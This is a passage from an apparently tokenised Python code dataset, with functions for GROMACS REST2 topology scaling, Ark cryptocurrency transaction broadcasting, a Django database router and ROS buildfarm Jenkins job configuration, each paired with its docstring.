a3=\"<STR_LIT:X>\";<EOL>if((iswitch//<NUM_LIT:16>)%<NUM_LIT:2>==<NUM_LIT:1>): a4=\"<STR_LIT:X>\";<EOL>key = \"<STR_LIT>\".format(a1, a2, a3, a4, im.gromacs['<STR_LIT>'])<EOL>if (key in impropers):<EOL><INDENT>for i, imt in enumerate(impropers[key]):<EOL><INDENT>imA = copy.deepcopy(im)<EOL>param = copy.deepcopy(imt.gromacs['<STR_LIT>'])<EOL>if not impropers[key][<NUM_LIT:0>].line in banned_lines:<EOL><INDENT>for p in param: p['<STR_LIT>'] *= scale<EOL><DEDENT>imA.gromacs['<STR_LIT>'] = param<EOL>if i == <NUM_LIT:0>:<EOL><INDENT>imA.comment = \"<STR_LIT>\".format(<EOL>\"<STR_LIT:U+0020>\".join(map(str, banned_lines)),<EOL><NUM_LIT:1> if imt.line in banned_lines else <NUM_LIT:0>,<EOL>imt.atype1, imt.atype2, imt.atype3, imt.atype4, imt.line)<EOL><DEDENT>new_impropers.append(imA)<EOL><DEDENT>break<EOL><DEDENT><DEDENT><DEDENT>mol.impropers = new_impropers<EOL>return mol<EOL>", "docstring": "Scale improper dihedrals", "id": "f6868:m1"}
{"signature": "def partial_tempering(topfile=\"<STR_LIT>\", outfile=\"<STR_LIT>\", banned_lines='<STR_LIT>',<EOL>scale_lipids=<NUM_LIT:1.0>, scale_protein=<NUM_LIT:1.0>):", "body": "banned_lines = map(int, banned_lines.split())<EOL>top = TOP(topfile)<EOL>groups = [(\"<STR_LIT:_>\", float(scale_protein)), (\"<STR_LIT:=>\", float(scale_lipids))]<EOL>cmaptypes = []<EOL>for ct in top.cmaptypes:<EOL><INDENT>cmaptypes.append(ct)<EOL>for gr, scale in groups:<EOL><INDENT>ctA = copy.deepcopy(ct)<EOL>ctA.atype1 += gr<EOL>ctA.atype2 += gr<EOL>ctA.atype3 += gr<EOL>ctA.atype4 += gr<EOL>ctA.atype8 += gr<EOL>ctA.gromacs['<STR_LIT>'] = [ v*scale for v in ct.gromacs['<STR_LIT>'] ]<EOL>cmaptypes.append(ctA)<EOL><DEDENT><DEDENT>logger.debug(\"<STR_LIT>\".format(len(top.cmaptypes), len(cmaptypes)))<EOL>top.cmaptypes = cmaptypes<EOL>atomtypes = []<EOL>for at in top.atomtypes:<EOL><INDENT>atomtypes.append(at)<EOL>for gr, scale in groups:<EOL><INDENT>atA = copy.deepcopy(at)<EOL>atA.atnum = atA.atype<EOL>atA.atype += gr<EOL>atA.gromacs['<STR_LIT>']['<STR_LIT>'] *= scale<EOL>atomtypes.append(atA)<EOL><DEDENT><DEDENT>top.atomtypes = atomtypes<EOL>pairtypes = []<EOL>for pt in top.pairtypes:<EOL><INDENT>pairtypes.append(pt)<EOL>for gr, scale in groups:<EOL><INDENT>ptA = copy.deepcopy(pt)<EOL>ptA.atype1 += gr<EOL>ptA.atype2 += gr<EOL>ptA.gromacs['<STR_LIT>']['<STR_LIT>'] *= scale<EOL>pairtypes.append(ptA)<EOL><DEDENT><DEDENT>top.pairtypes = pairtypes<EOL>bondtypes = []<EOL>for bt in top.bondtypes:<EOL><INDENT>bondtypes.append(bt)<EOL>for gr, scale in groups:<EOL><INDENT>btA = copy.deepcopy(bt)<EOL>btA.atype1 += gr<EOL>btA.atype2 += gr<EOL>bondtypes.append(btA)<EOL><DEDENT><DEDENT>top.bondtypes = bondtypes<EOL>angletypes = []<EOL>for at in top.angletypes:<EOL><INDENT>angletypes.append(at)<EOL>for gr, scale in groups:<EOL><INDENT>atA = copy.deepcopy(at)<EOL>atA.atype1 += gr<EOL>atA.atype2 += gr<EOL>atA.atype3 += gr<EOL>angletypes.append(atA)<EOL><DEDENT><DEDENT>top.angletypes = angletypes<EOL>dihedraltypes = {}<EOL>for dt in top.dihedraltypes:<EOL><INDENT>dt.disabled = True<EOL>dt.comment = \"<STR_LIT>\".format(<EOL>dt.atype1, dt.atype2, dt.atype3, dt.atype4, dt.line)<EOL>dt.comment = dt.comment.replace(\"<STR_LIT:_>\",\"<STR_LIT>\")<EOL>name = \"<STR_LIT>\".format(dt.atype1, dt.atype2, dt.atype3, dt.atype4, dt.gromacs['<STR_LIT>'])<EOL>if not name in dihedraltypes:<EOL><INDENT>dihedraltypes[name] = []<EOL><DEDENT>dihedraltypes[name].append(dt)<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format(len(dihedraltypes)))<EOL>impropertypes = {}<EOL>for it in top.impropertypes:<EOL><INDENT>it.disabled = True<EOL>it.comment = \"<STR_LIT>\".format(it.line)<EOL>name = \"<STR_LIT>\".format(<EOL>it.atype1, it.atype2, it.atype3, it.atype4, it.gromacs['<STR_LIT>'])<EOL>if not name in impropertypes:<EOL><INDENT>impropertypes[name] = []<EOL><DEDENT>impropertypes[name].append(it)<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format(len(impropertypes)))<EOL>for molname_mol in top.dict_molname_mol:<EOL><INDENT>if not '<STR_LIT>' in molname_mol:<EOL><INDENT>continue<EOL><DEDENT>mol = top.dict_molname_mol[molname_mol]<EOL>for at in mol.atoms:<EOL><INDENT>at.charge *= math.sqrt(scale_protein)<EOL><DEDENT>mol = scale_dihedrals(mol, dihedraltypes, scale_protein, banned_lines)<EOL>mol = scale_impropers(mol, impropertypes, <NUM_LIT:1.0>, banned_lines)<EOL><DEDENT>top.write(outfile)<EOL>", "docstring": "Set up topology for partial tempering (REST2) replica exchange.\n\n\n    .. versionchanged:: 0.7.0\n       Use keyword arguments instead of an `args` Namespace object.", "id": "f6868:m2"}
{"signature": "def send(self, use_open_peers=True, queue=True, **kw):", "body": "if not use_open_peers:<EOL><INDENT>ip = kw.get('<STR_LIT>')<EOL>port = kw.get('<STR_LIT:port>')<EOL>peer = '<STR_LIT>'.format(ip, port)<EOL>res = arky.rest.POST.peer.transactions(peer=peer, transactions=[self.tx.tx])<EOL><DEDENT>else:<EOL><INDENT>res = arky.core.sendPayload(self.tx.tx)<EOL><DEDENT>if self.tx.success != '<STR_LIT>':<EOL><INDENT>self.tx.error = None<EOL>self.tx.success = True<EOL><DEDENT>else:<EOL><INDENT>self.tx.error = res['<STR_LIT>']<EOL>self.tx.success = False<EOL><DEDENT>self.tx.tries += <NUM_LIT:1><EOL>self.tx.res = res<EOL>if queue:<EOL><INDENT>self.tx.send = True<EOL><DEDENT>self.__save()<EOL>return res<EOL>", "docstring": "send a transaction immediately. Failed transactions are picked up by the TxBroadcaster\n\n:param ip: specific peer IP to send tx to\n:param port: port of specific peer\n:param use_open_peers: use Arky's broadcast method", "id": "f6883:c0:m1"}
{"signature": "def check_confirmations_or_resend(self, use_open_peers=False, **kw):", "body": "if self.confirmations() == <NUM_LIT:0>:<EOL><INDENT>self.send(use_open_peers, **kw)<EOL><DEDENT>", "docstring": "check if a tx is confirmed, else resend it.\n\n:param use_open_peers: select random peers fro api/peers endpoint", "id": "f6883:c0:m3"}
{"signature": "def queue(self):", "body": "self.tx.send = True<EOL>self.__save()<EOL>", "docstring": "queue a transaction to be picked up by the background transaction broadcaster", "id": "f6883:c0:m4"}
{"signature": "def delay(self):", "body": "self.tx.send = False<EOL>self.__save()<EOL>", "docstring": "save a transaction, but don't let it be picked up by the broadcaster", "id": "f6883:c0:m5"}
{"signature": "def db_for_read(self, model, **hints):", "body": "if model._meta.app_label == '<STR_LIT>':<EOL><INDENT>return ark_db['<STR_LIT>']<EOL><DEDENT>return None<EOL>", "docstring": "Attempts to read ark_app models go to ARK_DB_NAME.", "id": "f6886:c0:m0"}
{"signature": "def db_for_write(self, model, **hints):", "body": "if model._meta.app_label == '<STR_LIT>':<EOL><INDENT>return ark_db['<STR_LIT>']<EOL><DEDENT>return None<EOL>", "docstring": "Attempts to write ark_app models go to ARK_DB_NAME.", "id": "f6886:c0:m1"}
{"signature": "def allow_relation(self, obj1, obj2, **hints):", "body": "if obj1._meta.app_label == '<STR_LIT>' orobj2._meta.app_label == '<STR_LIT>':<EOL><INDENT>return True<EOL><DEDENT>return None<EOL>", "docstring": "Allow relations if a model in the ark is involved.", "id": "f6886:c0:m2"}
{"signature": "def allow_migrate(self, db, app_label, model_name=None, **hints):", "body": "if app_label == '<STR_LIT>':<EOL><INDENT>return db == ark_db['<STR_LIT>']<EOL><DEDENT>return None<EOL>", "docstring": "Make sure the ark_app app only appears in the 'ARK_DB_NAME'\ndatabase.", "id": "f6886:c0:m3"}
{"signature": "def setUp(self):", "body": "for i in range(<NUM_LIT:10>):<EOL><INDENT>tx = TX(<EOL>amount=i+<NUM_LIT:1>,<EOL>secret=\"<STR_LIT>\",<EOL>recipient=\"<STR_LIT>\",<EOL>network=\"<STR_LIT>\",<EOL>)<EOL>tx.queue()<EOL><DEDENT>", "docstring": "We bake some transactions and store them in the db.", "id": "f6889:c1:m0"}
{"signature": "def configure_ci_jobs(<EOL>config_url, rosdistro_name, ci_build_name,<EOL>groovy_script=None, dry_run=False):", "body": "config = get_config_index(config_url)<EOL>build_files = get_ci_build_files(config, rosdistro_name)<EOL>build_file = build_files[ci_build_name]<EOL>index = get_index(config.rosdistro_index_url)<EOL>targets = []<EOL>for os_name in build_file.targets.keys():<EOL><INDENT>for os_code_name in build_file.targets[os_name].keys():<EOL><INDENT>for arch in build_file.targets[os_name][os_code_name]:<EOL><INDENT>targets.append((os_name, os_code_name, arch))<EOL><DEDENT><DEDENT><DEDENT>print('<STR_LIT>')<EOL>for os_name, os_code_name, arch in targets:<EOL><INDENT>print('<STR_LIT>', os_name, os_code_name, arch)<EOL><DEDENT>dist_file = get_distribution_file(index, rosdistro_name, build_file)<EOL>if not dist_file:<EOL><INDENT>print('<STR_LIT>')<EOL>return<EOL><DEDENT>ci_view_name = get_ci_view_name(rosdistro_name)<EOL>from ros_buildfarm.jenkins import connect<EOL>jenkins = connect(config.jenkins_url) if groovy_script is None else False<EOL>view_configs = {}<EOL>views = {<EOL>ci_view_name: configure_ci_view(<EOL>jenkins, ci_view_name, dry_run=dry_run)<EOL>}<EOL>if not jenkins:<EOL><INDENT>view_configs.update(views)<EOL><DEDENT>groovy_data = {<EOL>'<STR_LIT>': dry_run,<EOL>'<STR_LIT>': len(view_configs),<EOL>}<EOL>ci_job_names = []<EOL>job_configs = OrderedDict()<EOL>is_disabled = False<EOL>for os_name, os_code_name, arch in targets:<EOL><INDENT>try:<EOL><INDENT>job_name, job_config = configure_ci_job(<EOL>config_url, rosdistro_name, ci_build_name,<EOL>os_name, os_code_name, arch,<EOL>config=config, build_file=build_file,<EOL>index=index, dist_file=dist_file,<EOL>jenkins=jenkins, views=views,<EOL>is_disabled=is_disabled,<EOL>groovy_script=groovy_script,<EOL>dry_run=dry_run,<EOL>trigger_timer=build_file.jenkins_job_schedule)<EOL>ci_job_names.append(job_name)<EOL>if groovy_script is not None:<EOL><INDENT>print(\"<STR_LIT>\" % job_name)<EOL>job_configs[job_name] = job_config<EOL><DEDENT><DEDENT>except JobValidationError as e:<EOL><INDENT>print(e.message, file=sys.stderr)<EOL><DEDENT><DEDENT>groovy_data['<STR_LIT>'] = len(job_configs)<EOL>groovy_data['<STR_LIT>'] = {}<EOL>if groovy_script is not None:<EOL><INDENT>print(<EOL>\"<STR_LIT>\" %<EOL>(groovy_script, len(job_configs)))<EOL>content = expand_template(<EOL>'<STR_LIT>', groovy_data)<EOL>write_groovy_script_and_configs(<EOL>groovy_script, content, job_configs, view_configs)<EOL><DEDENT>", "docstring": "Configure all Jenkins CI jobs.", "id": "f6902:m0"}
{"signature": "def configure_ci_job(<EOL>config_url, rosdistro_name, ci_build_name,<EOL>os_name, os_code_name, arch,<EOL>config=None, build_file=None,<EOL>index=None, dist_file=None,<EOL>jenkins=None, views=None,<EOL>is_disabled=False,<EOL>groovy_script=None,<EOL>build_targets=None,<EOL>dry_run=False,<EOL>underlay_source_paths=None,<EOL>trigger_timer=None):", "body": "if config is None:<EOL><INDENT>config = get_config_index(config_url)<EOL><DEDENT>if build_file is None:<EOL><INDENT>build_files = get_ci_build_files(config, rosdistro_name)<EOL>build_file = build_files[ci_build_name]<EOL><DEDENT>if build_targets is not None:<EOL><INDENT>build_file.targets = build_targets<EOL><DEDENT>if index is None:<EOL><INDENT>index = get_index(config.rosdistro_index_url)<EOL><DEDENT>if dist_file is None:<EOL><INDENT>dist_file = get_distribution_file(index, rosdistro_name, build_file)<EOL>if not dist_file:<EOL><INDENT>raise JobValidationError(<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>if os_name not in build_file.targets.keys():<EOL><INDENT>raise JobValidationError(<EOL>\"<STR_LIT>\" % os_name +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT:U+002CU+0020>'.join(sorted(build_file.targets.keys())))<EOL><DEDENT>if os_code_name not in build_file.targets[os_name].keys():<EOL><INDENT>raise JobValidationError(<EOL>\"<STR_LIT>\" % os_code_name +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT:U+002CU+0020>'.join(sorted(build_file.targets[os_name].keys())))<EOL><DEDENT>if arch not in build_file.targets[os_name][os_code_name]:<EOL><INDENT>raise JobValidationError(<EOL>\"<STR_LIT>\" % arch +<EOL>'<STR_LIT>' % '<STR_LIT:U+002CU+0020>'.join(sorted(<EOL>build_file.targets[os_name][os_code_name])))<EOL><DEDENT>if len(build_file.underlay_from_ci_jobs) > <NUM_LIT:1>:<EOL><INDENT>raise JobValidationError(<EOL>'<STR_LIT>' +<EOL>'<STR_LIT>' % len(build_file.underlay_from_ci_jobs))<EOL><DEDENT>underlay_source_job = None<EOL>if build_file.underlay_from_ci_jobs:<EOL><INDENT>underlay_source_job = get_ci_job_name(<EOL>rosdistro_name, os_name, os_code_name, arch,<EOL>build_file.underlay_from_ci_jobs[<NUM_LIT:0>])<EOL>underlay_source_paths = (underlay_source_paths or []) +['<STR_LIT>']<EOL><DEDENT>if jenkins is None:<EOL><INDENT>from ros_buildfarm.jenkins import connect<EOL>jenkins = connect(config.jenkins_url)<EOL><DEDENT>if views is None:<EOL><INDENT>view_name = get_ci_view_name(rosdistro_name)<EOL>configure_ci_view(jenkins, view_name, dry_run=dry_run)<EOL><DEDENT>job_name = get_ci_job_name(<EOL>rosdistro_name, os_name, os_code_name, arch, ci_build_name)<EOL>job_config = _get_ci_job_config(<EOL>index, rosdistro_name, build_file, os_name,<EOL>os_code_name, arch,<EOL>build_file.repos_files,<EOL>underlay_source_job,<EOL>underlay_source_paths,<EOL>trigger_timer,<EOL>is_disabled=is_disabled)<EOL>if isinstance(jenkins, object) and jenkins is not False:<EOL><INDENT>from ros_buildfarm.jenkins import configure_job<EOL>configure_job(jenkins, job_name, job_config, dry_run=dry_run)<EOL><DEDENT>return job_name, job_config<EOL>", "docstring": "Configure a single Jenkins CI job.\n\nThis includes the following steps:\n- clone the ros_buildfarm repository\n- write the distribution repository keys into files\n- invoke the ci/run_ci_job.py script", "id": "f6902:m1"}
{"signature": "def configure_release_jobs(<EOL>config_url, rosdistro_name, release_build_name, groovy_script=None,<EOL>dry_run=False, whitelist_package_names=None):", "body": "config = get_config_index(config_url)<EOL>build_files = get_release_build_files(config, rosdistro_name)<EOL>build_file = build_files[release_build_name]<EOL>index = get_index(config.rosdistro_index_url)<EOL>platforms = []<EOL>for os_name in build_file.targets.keys():<EOL><INDENT>for os_code_name in build_file.targets[os_name].keys():<EOL><INDENT>platforms.append((os_name, os_code_name))<EOL><DEDENT><DEDENT>print('<STR_LIT>')<EOL>for os_name, os_code_name in platforms:<EOL><INDENT>print('<STR_LIT>' % (os_name, os_code_name, '<STR_LIT:U+002CU+0020>'.join(<EOL>build_file.targets[os_name][os_code_name])))<EOL><DEDENT>dist_file = get_distribution_file(index, rosdistro_name, build_file)<EOL>if not dist_file:<EOL><INDENT>print('<STR_LIT>')<EOL>return<EOL><DEDENT>pkg_names = dist_file.release_packages.keys()<EOL>filtered_pkg_names = build_file.filter_packages(pkg_names)<EOL>explicitly_ignored_pkg_names = set(pkg_names) - set(filtered_pkg_names)<EOL>if explicitly_ignored_pkg_names:<EOL><INDENT>print(('<STR_LIT>' +<EOL>'<STR_LIT>') %<EOL>('<STR_LIT>' if build_file.skip_ignored_packages else '<STR_LIT>'))<EOL>for pkg_name in sorted(explicitly_ignored_pkg_names):<EOL><INDENT>print('<STR_LIT>', pkg_name)<EOL><DEDENT><DEDENT>dist_cache = get_distribution_cache(index, rosdistro_name)<EOL>if explicitly_ignored_pkg_names:<EOL><INDENT>direct_dependencies = {}<EOL>for pkg_name in pkg_names:<EOL><INDENT>direct_dependencies[pkg_name] = _get_direct_dependencies(<EOL>pkg_name, dist_cache, pkg_names) or set([])<EOL><DEDENT>ignored_pkg_names = set(explicitly_ignored_pkg_names)<EOL>while True:<EOL><INDENT>implicitly_ignored_pkg_names = _get_downstream_package_names(<EOL>ignored_pkg_names, direct_dependencies)<EOL>if implicitly_ignored_pkg_names - ignored_pkg_names:<EOL><INDENT>ignored_pkg_names |= implicitly_ignored_pkg_names<EOL>continue<EOL><DEDENT>break<EOL><DEDENT>implicitly_ignored_pkg_names =ignored_pkg_names - explicitly_ignored_pkg_names<EOL>if implicitly_ignored_pkg_names:<EOL><INDENT>print(('<STR_LIT>' +<EOL>'<STR_LIT>') % ('<STR_LIT>'<EOL>if build_file.skip_ignored_packages else '<STR_LIT>'))<EOL>for pkg_name in sorted(implicitly_ignored_pkg_names):<EOL><INDENT>print('<STR_LIT>', pkg_name)<EOL><DEDENT>filtered_pkg_names =set(filtered_pkg_names) - implicitly_ignored_pkg_names<EOL><DEDENT><DEDENT>jenkins = False<EOL>if groovy_script is None:<EOL><INDENT>from ros_buildfarm.jenkins import connect<EOL>jenkins = connect(config.jenkins_url)<EOL><DEDENT>all_view_configs = {}<EOL>all_job_configs = OrderedDict()<EOL>job_name, job_config = configure_import_package_job(<EOL>config_url, rosdistro_name, release_build_name,<EOL>config=config, build_file=build_file, jenkins=jenkins, dry_run=dry_run)<EOL>if not jenkins:<EOL><INDENT>all_job_configs[job_name] = job_config<EOL><DEDENT>job_name, job_config = configure_sync_packages_to_main_job(<EOL>config_url, rosdistro_name, release_build_name,<EOL>config=config, build_file=build_file, jenkins=jenkins, dry_run=dry_run)<EOL>if not jenkins:<EOL><INDENT>all_job_configs[job_name] = job_config<EOL><DEDENT>for os_name, os_code_name in platforms:<EOL><INDENT>for arch in sorted(build_file.targets[os_name][os_code_name]):<EOL><INDENT>job_name, job_config = configure_sync_packages_to_testing_job(<EOL>config_url, rosdistro_name, release_build_name,<EOL>os_code_name, arch,<EOL>config=config, build_file=build_file, jenkins=jenkins,<EOL>dry_run=dry_run)<EOL>if not jenkins:<EOL><INDENT>all_job_configs[job_name] = job_config<EOL><DEDENT><DEDENT><DEDENT>targets = []<EOL>for os_name, os_code_name in platforms:<EOL><INDENT>targets.append((os_name, os_code_name, '<STR_LIT:source>'))<EOL>for arch in build_file.targets[os_name][os_code_name]:<EOL><INDENT>targets.append((os_name, os_code_name, arch))<EOL><DEDENT><DEDENT>views = configure_release_views(<EOL>jenkins, rosdistro_name, release_build_name, targets,<EOL>dry_run=dry_run)<EOL>if not jenkins:<EOL><INDENT>all_view_configs.update(views)<EOL><DEDENT>groovy_data = {<EOL>'<STR_LIT>': dry_run,<EOL>'<STR_LIT>': len(views),<EOL>}<EOL>from catkin_pkg.package import parse_package_string<EOL>from ros_buildfarm.common import topological_order_packages<EOL>pkgs = {}<EOL>for pkg_name in pkg_names:<EOL><INDENT>if pkg_name not in dist_cache.release_package_xmls:<EOL><INDENT>print(\"<STR_LIT>\" %<EOL>(pkg_name), file=sys.stderr)<EOL>continue<EOL><DEDENT>pkg_xml = dist_cache.release_package_xmls[pkg_name]<EOL>pkg = parse_package_string(pkg_xml)<EOL>pkgs[pkg_name] = pkg<EOL><DEDENT>ordered_pkg_tuples = topological_order_packages(pkgs)<EOL>other_build_files = [v for k, v in build_files.items() if k != release_build_name]<EOL>all_source_job_names = []<EOL>all_binary_job_names = []<EOL>for pkg_name in [p.name for _, p in ordered_pkg_tuples]:<EOL><INDENT>if whitelist_package_names:<EOL><INDENT>if pkg_name not in whitelist_package_names:<EOL><INDENT>print(\"<STR_LIT>\" %<EOL>pkg_name, file=sys.stderr)<EOL>continue<EOL><DEDENT><DEDENT>pkg = dist_file.release_packages[pkg_name]<EOL>repo_name = pkg.repository_name<EOL>repo = dist_file.repositories[repo_name]<EOL>is_disabled = pkg_name not in filtered_pkg_names<EOL>if is_disabled and build_file.skip_ignored_packages:<EOL><INDENT>print(\"<STR_LIT>\" %<EOL>(pkg_name, repo_name), file=sys.stderr)<EOL>continue<EOL><DEDENT>if not repo.release_repository:<EOL><INDENT>print((\"<STR_LIT>\" +<EOL>\"<STR_LIT>\") % (pkg_name, repo_name), file=sys.stderr)<EOL>continue<EOL><DEDENT>if not repo.release_repository.version:<EOL><INDENT>print((\"<STR_LIT>\" +<EOL>\"<STR_LIT:version>\") % (pkg_name, repo_name), file=sys.stderr)<EOL>continue<EOL><DEDENT>for os_name, os_code_name in platforms:<EOL><INDENT>other_build_files_same_platform = []<EOL>for other_build_file in other_build_files:<EOL><INDENT>if os_name not in other_build_file.targets:<EOL><INDENT>continue<EOL><DEDENT>if os_code_name not in other_build_file.targets[os_name]:<EOL><INDENT>continue<EOL><DEDENT>other_build_files_same_platform.append(other_build_file)<EOL><DEDENT>try:<EOL><INDENT>source_job_names, binary_job_names, job_configs =configure_release_job(<EOL>config_url, rosdistro_name, release_build_name,<EOL>pkg_name, os_name, os_code_name,<EOL>config=config, build_file=build_file,<EOL>index=index, dist_file=dist_file,<EOL>dist_cache=dist_cache,<EOL>jenkins=jenkins, views=views,<EOL>generate_import_package_job=False,<EOL>generate_sync_packages_jobs=False,<EOL>is_disabled=is_disabled,<EOL>other_build_files_same_platform=other_build_files_same_platform,<EOL>groovy_script=groovy_script,<EOL>dry_run=dry_run)<EOL>all_source_job_names += source_job_names<EOL>all_binary_job_names += binary_job_names<EOL>if groovy_script is not None:<EOL><INDENT>print('<STR_LIT>' +<EOL>'<STR_LIT:U+002CU+0020>'.join(source_job_names + binary_job_names))<EOL>for source_job_name in source_job_names:<EOL><INDENT>all_job_configs[source_job_name] = job_configs[source_job_name]<EOL><DEDENT>for binary_job_name in binary_job_names:<EOL><INDENT>all_job_configs[binary_job_name] = job_configs[binary_job_name]<EOL><DEDENT><DEDENT><DEDENT>except JobValidationError as e:<EOL><INDENT>print(e.message, file=sys.stderr)<EOL><DEDENT><DEDENT><DEDENT>groovy_data['<STR_LIT>'] = len(all_job_configs)<EOL>groovy_data['<STR_LIT>'] = {}<EOL>if not whitelist_package_names:<EOL><INDENT>for os_name, os_code_name in platforms:<EOL><INDENT>for arch in build_file.targets[os_name][os_code_name]:<EOL><INDENT>binary_view = get_release_binary_view_name(<EOL>rosdistro_name, release_build_name,<EOL>os_name, os_code_name, arch)<EOL>binary_job_prefix = '<STR_LIT>' % binary_view<EOL>excluded_job_names = set([<EOL>j for j in all_binary_job_names<EOL>if j.startswith(binary_job_prefix)])<EOL>if groovy_script is None:<EOL><INDENT>print(\"<STR_LIT>\" %<EOL>binary_job_prefix)<EOL>from ros_buildfarm.jenkins import remove_jobs<EOL>remove_jobs(<EOL>jenkins, binary_job_prefix, excluded_job_names,<EOL>dry_run=dry_run)<EOL><DEDENT>else:<EOL><INDENT>binary_key = '<STR_LIT>' %(os_name, os_code_name, arch)<EOL>groovy_data['<STR_LIT>'][binary_key] =(binary_job_prefix, excluded_job_names)<EOL><DEDENT><DEDENT><DEDENT>for os_name, os_code_name in platforms:<EOL><INDENT>other_source_job_names = []<EOL>for other_release_build_name in [<EOL>k for k in build_files.keys() if k != release_build_name]:<EOL><INDENT>other_build_file = build_files[other_release_build_name]<EOL>other_dist_file = get_distribution_file(<EOL>index, rosdistro_name, other_build_file)<EOL>if not other_dist_file:<EOL><INDENT>continue<EOL><DEDENT>if os_name not in other_build_file.targets oros_code_name not in other_build_file.targets[os_name]:<EOL><INDENT>continue<EOL><DEDENT>if other_build_file.skip_ignored_packages:<EOL><INDENT>filtered_pkg_names = other_build_file.filter_packages(<EOL>pkg_names)<EOL><DEDENT>else:<EOL><INDENT>filtered_pkg_names = pkg_names<EOL><DEDENT>for pkg_name in sorted(filtered_pkg_names):<EOL><INDENT>pkg = other_dist_file.release_packages[pkg_name]<EOL>repo_name = pkg.repository_name<EOL>repo = other_dist_file.repositories[repo_name]<EOL>if not repo.release_repository:<EOL><INDENT>continue<EOL><DEDENT>if not repo.release_repository.version:<EOL><INDENT>continue<EOL><DEDENT>other_job_name = get_sourcedeb_job_name(<EOL>rosdistro_name, other_release_build_name,<EOL>pkg_name, os_name, os_code_name)<EOL>other_source_job_names.append(other_job_name)<EOL><DEDENT><DEDENT>source_view_prefix = get_release_source_view_name(<EOL>rosdistro_name, os_name, os_code_name)<EOL>source_job_prefix = '<STR_LIT>' % source_view_prefix<EOL>excluded_job_names = set([<EOL>j for j in (all_source_job_names + other_source_job_names)<EOL>if j.startswith(source_job_prefix)])<EOL>if groovy_script is None:<EOL><INDENT>print(\"<STR_LIT>\" %<EOL>source_job_prefix)<EOL>from ros_buildfarm.jenkins import remove_jobs<EOL>remove_jobs(<EOL>jenkins, source_job_prefix, excluded_job_names,<EOL>dry_run=dry_run)<EOL><DEDENT>else:<EOL><INDENT>source_key = '<STR_LIT>' % (os_name, os_code_name)<EOL>groovy_data['<STR_LIT>'][source_key] = (<EOL>source_job_prefix, excluded_job_names)<EOL><DEDENT><DEDENT><DEDENT>if groovy_script is not None:<EOL><INDENT>print(<EOL>\"<STR_LIT>\" %<EOL>(groovy_script, len(all_view_configs), len(all_job_configs)))<EOL>content = expand_template(<EOL>'<STR_LIT>', groovy_data)<EOL>write_groovy_script_and_configs(<EOL>groovy_script, content, all_job_configs,<EOL>view_configs=all_view_configs)<EOL><DEDENT>", "docstring": "Configure all Jenkins release jobs.\n\nL{configure_release_job} will be invoked for every released package and\ntarget which matches the build file criteria.\n\nAdditionally a job to import Debian packages into the Debian repository is\ncreated.", "id": "f6904:m0"}
{"signature": "def configure_release_job(<EOL>config_url, rosdistro_name, release_build_name,<EOL>pkg_name, os_name, os_code_name,<EOL>config=None, build_file=None,<EOL>index=None, dist_file=None, dist_cache=None,<EOL>jenkins=None, views=None,<EOL>generate_import_package_job=True,<EOL>generate_sync_packages_jobs=True,<EOL>is_disabled=False, other_build_files_same_platform=None,<EOL>groovy_script=None,<EOL>filter_arches=None,<EOL>dry_run=False):", "body": "if config is None:<EOL><INDENT>config = get_config_index(config_url)<EOL><DEDENT>if build_file is None:<EOL><INDENT>build_files = get_release_build_files(config, rosdistro_name)<EOL>build_file = build_files[release_build_name]<EOL><DEDENT>if index is None:<EOL><INDENT>index = get_index(config.rosdistro_index_url)<EOL><DEDENT>if dist_file is None:<EOL><INDENT>dist_file = get_distribution_file(index, rosdistro_name, build_file)<EOL>if not dist_file:<EOL><INDENT>raise JobValidationError(<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>pkg_names = dist_file.release_packages.keys()<EOL>if pkg_name not in pkg_names:<EOL><INDENT>raise JobValidationError(<EOL>\"<STR_LIT>\" % pkg_name +<EOL>'<STR_LIT>' + '<STR_LIT:U+002CU+0020>'.join(sorted(pkg_names)))<EOL><DEDENT>pkg = dist_file.release_packages[pkg_name]<EOL>repo_name = pkg.repository_name<EOL>repo = dist_file.repositories[repo_name]<EOL>if not repo.release_repository:<EOL><INDENT>raise JobValidationError(<EOL>\"<STR_LIT>\" % repo_name)<EOL><DEDENT>if not repo.release_repository.version:<EOL><INDENT>raise JobValidationError(<EOL>\"<STR_LIT>\" % repo_name)<EOL><DEDENT>if os_name not in build_file.targets.keys():<EOL><INDENT>raise JobValidationError(<EOL>\"<STR_LIT>\" % os_name +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT:U+002CU+0020>'.join(sorted(build_file.targets.keys())))<EOL><DEDENT>if os_code_name not in build_file.targets[os_name].keys():<EOL><INDENT>raise JobValidationError(<EOL>\"<STR_LIT>\" % os_code_name +<EOL>'<STR_LIT>' +<EOL>'<STR_LIT:U+002CU+0020>'.join(sorted(build_file.targets[os_name].keys())))<EOL><DEDENT>if dist_cache is None and(build_file.notify_maintainers or<EOL>build_file.abi_incompatibility_assumed):<EOL><INDENT>dist_cache = get_distribution_cache(index, rosdistro_name)<EOL><DEDENT>if jenkins is None:<EOL><INDENT>from ros_buildfarm.jenkins import connect<EOL>jenkins = connect(config.jenkins_url)<EOL><DEDENT>if views is None:<EOL><INDENT>targets = []<EOL>targets.append((os_name, os_code_name, '<STR_LIT:source>'))<EOL>for arch in build_file.targets[os_name][os_code_name]:<EOL><INDENT>targets.append((os_name, os_code_name, arch))<EOL><DEDENT>configure_release_views(<EOL>jenkins, rosdistro_name, release_build_name, targets,<EOL>dry_run=dry_run)<EOL><DEDENT>if generate_import_package_job:<EOL><INDENT>configure_import_package_job(<EOL>config_url, rosdistro_name, release_build_name,<EOL>config=config, build_file=build_file, jenkins=jenkins,<EOL>dry_run=dry_run)<EOL><DEDENT>if generate_sync_packages_jobs:<EOL><INDENT>configure_sync_packages_to_main_job(<EOL>config_url, rosdistro_name, release_build_name,<EOL>config=config, build_file=build_file, jenkins=jenkins,<EOL>dry_run=dry_run)<EOL>for arch in build_file.targets[os_name][os_code_name]:<EOL><INDENT>configure_sync_packages_to_testing_job(<EOL>config_url, rosdistro_name, release_build_name,<EOL>os_code_name, arch,<EOL>config=config, build_file=build_file, jenkins=jenkins,<EOL>dry_run=dry_run)<EOL><DEDENT><DEDENT>source_job_names = []<EOL>binary_job_names = []<EOL>job_configs = {}<EOL>source_job_name = get_sourcedeb_job_name(<EOL>rosdistro_name, release_build_name,<EOL>pkg_name, os_name, os_code_name)<EOL>is_source_disabled = is_disabled<EOL>if 